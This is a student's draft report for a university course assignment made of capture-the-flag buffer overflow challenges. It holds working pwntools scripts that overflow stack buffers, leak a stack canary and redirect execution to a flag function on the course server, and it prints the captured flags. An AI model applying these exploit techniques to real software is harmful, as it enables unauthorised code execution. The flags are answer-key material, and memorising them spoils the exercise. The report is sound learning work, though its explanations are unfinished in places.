Before hand-in:

* Fill out vuln. Types
* The b’24’ in 02
* Try to think back on 03, write what you’ve attempted
  + Incl. the pseudocode approach, and the other one mentioned by Hadi.
  + See what else people have suggested on discord
  + The youtube approach
* **Sources**
* Why 8 bytes of junk on 02?
* Some more disassembly dumps
* Look over the additional questions
* Look over frames visualization tool

**Compulsory Assignment I: Report**

Introduction

External libraries: pwntools

I’ve used the compiled ELF files provided.

**Task 00**

**Observations: Source Code**

The **buffer** has a 16-byte capacity. The structure **locals** contains this buffer, as well as a fixed-size int32\_t **check** which is initialized to **0xabcdc3cf**.

The if/else-statement surrenders the flag if the **check** member of **locals** contains the address **0x00c0ffee**, else prints a string and exits the program.

The buffer is of size 16, but there **fgets** function allows input upto 512 bytes. To exploit this weakness I overflow the buffer by sending 16 bytes of junk and return to the memory address **0xc0ffee**, and retrieve the flag.

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7000)

line = cyclic(16) + p64(0xc0ffee)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 00: {flag}')

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 00 is **INF226{s33kret c0de}**.

**Vulnerability**

The buffer overflow vulnerability in this program lies in the fgets call, which reads the input to the program. There is no restriction on the size of input to the buffer, which means that an attacker can exploit it by inputing more than 16 bytes and thus overwrite the stack.

**Task 01**

**Observations: Source Code**

In this program, the function **getFlag** is responsible for surrendering the flag.

In the **main** function, the structure **vars** contains a **buffer** of 16-byte capacity, as well as a function pointer which is initialized not to point to any function. The if/else-statement checks which address **funPointer** is pointing to, and executes the function in that location - i.e. if it points to the address of **getFlag**, the function is called and the flag is retrieved. Else, it prompts user to try again.

I use a similar approach as to 00, and overflow the **buffer** with 16 bytes of junk. This time I return to the address of **getFlag** in order to get the function pointer to call it. I obtain the address of **getFlag** **= 0x4011d6** through **objdump -d ./01** in the command line (or the [stack visualization tool](https://inf226.puffling.no/frames/) provided).

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7001)

# 00000000004011d6 <getFlag> from objdump -d ./01

line = cyclic(16) + p64(0x4011d6)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 01: {flag}')

NTS: It seems the flag is surrendered even if other addresses are provided. Does this mean that the function pointer just has to be != NULL (i.e. point to *any* function), and it points to getFlag either way..?

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 01 is **INF226{d3 h0ly gra1l}.**

**Vulnerability**

TODO

**Notes**

A screen shot of a computer program

Description automatically generated

**Task 02**

**Observations: Source Code**

The function **getFlag** is responsible for surrendering the flag.

In **main**, a **buffer** of 16-byte capacity is declared, and initialized with values {0,1,2,…,15}.

An int variable **offset** is initialized to 0. The first prompt from the program is printed, and the response input from user is stored in the **buffer**. The user input is then converted to integer representation and stored in the **offset** variable. Then the program provides a hint in form of a hex value, which is a memory address on the location of **buffer+offset**. The program asks user not to overwrite its stack, and the program terminates.

**Execution**:

I get the prompt: ‘What is the carrying capacity of a domestic canary?’

Assuming this is an obscure way of asking how much input it can take before crashing, I try several different amounts of data, and the program finally crashes at 24 A’s.

**Observations: Execution and Disassembly**

Running **checksec ./02** I see that there is a **stack canary** present. There is **No PIE**, meaning it has been compiled as a position dependent executable, as opposed to a position *independent* executable (PIE), which is neccessary to enable address space layout randomization (ASLR). ASLR is a security feature that makes sure executables are loaded into random address stlocations in virtual memory each time the program is run, so no PIE is a good precondition for exploiting the program. However, we need to bypass the canary somehow.

A screenshot of a computer

Description automatically generated

The hint that is given during execution likely points to the location in memory where **canary** resides. Therefore, in order to leak the canary, I capture the output that is sent right after **“Here’s a hint: “**, i.e. the memory address of **buffer+offset**. Since the program crashes if I send 24 bytes of junk, I send a payload consisting of that, as well as the canary value in integer representation, 8 more bytes of junk, and then the address of **getFlag** + 5.

If I return to the top of **getFlag**, I get an impression of completing the capture without actually capturing the flag:

A screen shot of a computer

Description automatically generated

This is because the stack becomes disaligned after pushing the value in **rbp** registry (frame pointer) onto stack. The stack alignment becomes off by 8, and thus the **system()** function crashes.

We have to avoid this jumping past the address in which the instruction occurs:

A screen shot of a computer screen

Description automatically generated

The address of the instruction *after* **push %rbp** is **40121b** (i.e. address of **getFlag** + 5). By returning here instead of the top of **getFlag**, we avoid the problem of stack disalignment.

Source: [ROP: *Solving the* system() *crash*](https://git.app.uib.no/inf226/23h/inf226-23h/-/wikis/lectures/ROP#solving-the-system-crash), 11:54 9/15/2023.

#!/usr/bin/python3

from pwn import \*

from pwn import p64

from os import linesep # formatting

io = remote('inf226.puffling.no', 7002)

io.recvuntil(b'? ')

# because if I input junk of size 24, I get seg. fault

# i.e. the 'carrying capacity' is 24

io.sendline(b'24')

print(b'24')

r = io.recvline()

prompt = b"Here's a hint: "

canary = r[r.startswith(prompt) and len(prompt):]

io.recvline()

io.send(cyclic(24) + p64(int(canary, 16)) + cyclic(8) + p64(0x40121B))

io.shutdown()

recieved = io.recvall().decode()

flag = recieved.splitlines()[-2]

print(f'Canary value: {canary.decode().replace(linesep, " ")}') # just for fun

print(f'Flag 02: {flag}')

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 02 is **INF226{s3r1nu5\_s3r1nu5}.**

**Additional Questions**

**What sort of mitigation technique is used here? How could you prevent this attack?**

* Stack canary

The canary is a -----. On Linux, it is often represented as a quite random-looking value that ends in 00.

To prevent this attack, the program should be more restrictive on what types of input the user is permitted to send. This involves both the size and the contents of the user input, so that the buffer cannot be overflowed and malicious commands inserted.

TODO

**Vulnerability**

TODO

**TASK 03**

Observations: Disassembly

* checksec ./03 shows canary present

Observations: Source Code

The function **getFlag** is responsible for surrendering the flag.

A long variable **line** is initialized with value 1. A **while**-loop makes sure the program continues until a user inputs a newline only. In the loop body, the **line** number is printed and subsequently incremented. The structure **locals** contains a **buffer** of 32-byte capacity, as well as a poiner **line\_pointer** which points to the **line** variable, i.e. it is assigned the address of this variable. User input upto 128 bytes is stored in the **buffer** array.

To exploit the code and capture the flag, I initially started a similar approach to 02. However, after spending days on end attempting to solve the problem and bypassing the canary, I eventually lost track and I am more confused than I was to begin with.

I located the address of the buffer as ----, and tried reaching the canary by adding --- to it.

I also tried brute forcing its location in memory by looping through addresses 0x7ffffffff000-0x7fffffffb000 (somewhat similar to Hadi Alkadiri’s thurough pseudo code posted on Discord general server 20.09.2023 21:44), but to no use.

I cannot wait to see the solution to this task and realise what I’ve missed.

Towards the end of trying out several different approaches and techniques, I had a lot of issues connecting to the server, and also got EOFError on different points of execution, making it an impossible task to try out new things.

**Additional Questions**

**This attack wouldn’t actually work on a modern system with default features enabled. Why?**

TODO https://www.fortinet.com/resources/cyberglossary/buffer-overflow#:~:text=A%20buffer%20overflow%20attack%20typically,composition%20or%20size%20of%20data.

Default features usually includes address space layout randomization, and so it would be “impossible” to locate the stack addresses in memory on a modern system.

**Vulnerability**

User input is stored in the buffer, but the buffer has proper no bounds checking on the size of this input. There are also no restrictions on what kind of input the user can give, and so they are free to insert malicious and exploitative input. This makes it possible to overflow the buffer and overwrite the return address.

TODO

Responding with 32 A’s, I get output f7f9f600.

A computer screen shot of a computer program

Description automatically generated

If I input 33 and then 34 A’s I get seg. fault and the following response:

A computer screen with white text

Description automatically generated